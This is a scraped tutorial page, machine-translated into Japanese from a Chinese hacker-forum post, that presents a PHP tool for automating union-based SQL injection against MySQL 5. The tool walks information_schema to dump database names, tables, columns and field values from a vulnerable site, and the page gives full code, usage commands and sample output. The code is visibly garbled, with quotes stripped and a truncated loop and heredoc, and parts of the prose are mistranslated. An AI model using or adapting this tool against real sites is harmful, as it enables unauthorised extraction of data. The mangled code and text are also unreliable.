ホームページ >バックエンド開発 >PHPチュートリアル >php+mysql 5 SQLインジェクション暴力ツールベータ版_PHPチュートリアル
文章作者:mika 来自于:邪恶八进制
mysql出来5版本以后,注入漏洞要比以前更容易利用了,也可以像mssql那样直接暴取了(甚至比mssql更容易了,因为mssql暴取是需要错误提示开启的,如果错误提示关闭的话,是需要暴力猜解的,而mysql的只要你找准注入点只要可以union出任何一个字段能在页面显示出来就可以了)。自从读了flyh4t的文章《Mysql5注射技巧总结》就一直想测试一下,结果我发现很多的站都更新到了这个版本,于是测试得不易乐呼~~~ 为了节省力气,自然是运用了自己所学的知识写个简单的工具自动暴取,比起手工来要省事多了。觉得会有许多朋友需要这样的工具,我虽然在网上找过包括最新的 pangolin,但是测试结果都不尽如人意。还是自己写的用起来顺手。其实代码没什么技术,但是本着共享的精神,算是提供个工具给大家吧,大家不要笑我哦
工具是php写的(因为俺觉得就这个写起来方便),代码如下:
error_reporting(7);
echo " Mysql ver 5 sql injection exploiter
coded by Mika[EST]
";
if($argc>7 || $argc <2)
{
echo <<
INFO;
die;
}
//****************************************************************************
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select%201,2,3,4,5,MIKA_MIKA,7,8";
$db_name="vuldb";
//****************************************************************************
$curl=curl_init();
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
function find_value($url){
global $curl;
//echo $url."
";
curl_setopt($curl,CURLOPT_URL,$url);
$content=curl_exec($curl);
//echo $content;
$re=preg_match("/(||.+?||)/i",$content,$result);
//echo $content;
if($re)
{
//return str_replace(||,,$result[1]);
return $result[1];
}
return 0;
}
function str2ascii($str){
$temp="char(";
for($i=0;$i
$temp.=ord($str[$i]).,;
}
$temp.=ord($str[strlen($str)-1]).);
//echo $temp."
";
return $temp;
}
function exploit_db(){
global $url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,SCHEMA_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.SCHEMATA%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "DATABASES:
";
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1."
";
$i++;
}while($v1);
}
function exploit_tab(){
global $url,$db_name,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,TABLE_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=".str2ascii($db_name)."%20limit%20MIKA_MIKA,1/*";
echo "Tables of database ".strtoupper($db_name)." :
";
$i=0;
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1."
";
$i++;
}while($v1);
}
function exploit_field(){
global $table_name,$url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,COLUMN_NAME,0x7C7C),$url);
$new_url.="%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=".str2ascii($table_name)."%20limit%20MIKA_MIKA,1/*";
$i=0;
echo "columns of table ".strtoupper($table_name)." :
";
do{
$new=str_replace(MIKA_MIKA,$i,$new_url);
if($v1=find_value($new))
echo $v1."
";
$i++;
}while($v1);
}
function exploit_value($mode=0){
global $db_name,$table_name,$field_name,$condition,$url,$curl;
$new_url=str_replace(MIKA_MIKA,concat(0x7C7C,MIKA_MIKA,0x7C7C),$url);
if($mode)
{
$new_url.="%20from%20$db_name.$table_name%20where%20$condition/*";
$new=str_replace(MIKA_MIKA,$field_name,$new_url);
$v1=find_value($new);
echo $v1."
";
return;
}
$new_url.="%20from%20$db_name.$table_name%20limit%20MIKA_NUM,1/*";
$new_url=str_replace(MIKA_MIKA,$field_name,$new_url);
$i=0;
echo "$field_name values of table ".strtoupper($table_name)." :
";
do{
$new=str_replace(MIKA_NUM,$i,$new_url);
if($v1=find_value($new))
echo $v1."
";
$i++;
}while($v1);
}
switch($argc){
case 2:
if($argv[1]==-t)
exploit_tab();
if($argv[1]==-d)
exploit_db();
break;
case 3:
$table_name=$argv[2];
exploit_field();
break;
case 5:
case 6:
$table_name=$argv[2];
$field_name=$argv[4];
exploit_value();
break;
case 7:
$table_name=$argv[2];
$field_name=$argv[4];
$condition=$argv[6];
exploit_value(1);
break;
}
?>
コードは非常にシンプルで、多くの労力を節約できました。非常に大まかなバージョンですが、完全に便利です。しかし、フィールド値を激しく抽出するという要件を満たすには十分です。簡単に説明します。
2 つの //******** 間のパラメーターは長すぎるため、コード内で直接変更する必要があります。コマンドラインで変更するのは面倒なので、コードに直接記述した方が良いでしょう。このうち $url は明らかに脆弱な URL です。コードに記述されているとおり、
http://www.vul.com/display_msg.p... 0union%20select のように、union で接続する必要があります。 %201,2 ,3,4,5,6,7,8
たとえば、6 番目の数字がページに表示される場合、数字の 6 を「MIKA_MIKA」に置き換える必要があり、コメント文字の後には続けないでください。最後 (プログラムが自動的に追加されるため)、最終的な URL は次のとおりです:
$url="http://www.vul.com/display_msg.php?id=432%20and%201=2%20union%20select %201,2,3,4 ,5,MIKA_MIKA,7,8";
さらに、$db_name はデータベースの名前です。database() 関数を使用して直接取得し、ここに入力します。
記入後すぐにご利用いただけます、とても簡単です。 cmd を開き、プログラムが配置されているディレクトリに切り替えます。たとえば、すべてのデータベースを利用するには、次のように使用できます:
F:scriptsphpmine>php mysql5.php -d
Mysql ver 5 sql inventory extender
ミカ[EST]がコーディング
データベース:
||information_schema||
||vuldb||
エクスプロイト テーブル名:
F:scriptsphpmine>php mysql5.php -t
Mysql ver 5 SQL インジェクションエクスプロイター
ミカ[EST]がコーディング
データベースのテーブル VULDB:
||Articles||
||Audio||
.
.
.
.
.
.
省略フィールド名:
F:scriptsphpmine>php mysql5.php -t Articles
MySQL バージョン 5 SQL インジェクションエクスプロイター
ミカ[EST]がコーディング
テーブル ARTICLES の列:
||ID||
||Article_ID||
||Title||
||Type||
.
.
.
省略
.
.
.
爆発的価値:
F :scriptsphpmine>php mysql5.php -t 記事 -f タイプ
Mysql ver 5 SQL インジェクションエクスプロイター
ミカ[EST]がコーディング
テーブル ARTICLES の値を入力します:
||2||
||1||
.
.
.
省略します
.
.
.
さらに、独自の条件を追加したい場合は、 add - 最後に - c パラメータは、where 条件で修飾されます (where は含めないでください)。例:
F:scriptsphpmine>php mysql5.php -t Articles -f ID -c Type=2
Mysql ver 5 SQLインジェクションエクスプロイター
ミカ[EST]がコーディング
||58||
プログラムは非常にシンプルですが、基本的な機能は揃っているので、思いついたことをそのまま書いていますので、今後改善点があれば必ず共有します。コードには間違いや改善できる部分が必ずあるので、一緒に変更するのを手伝ってください。さらに、コードには次の行があります:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
これはプロキシを使用するためのもので、必要ない場合は直接コメントアウトできます。
免責事項: 再版は完全なものにしておいてください。また、修正や追加があれば、私のコードはあまり良くありませんが、皆さんと共有したいと思います
。 )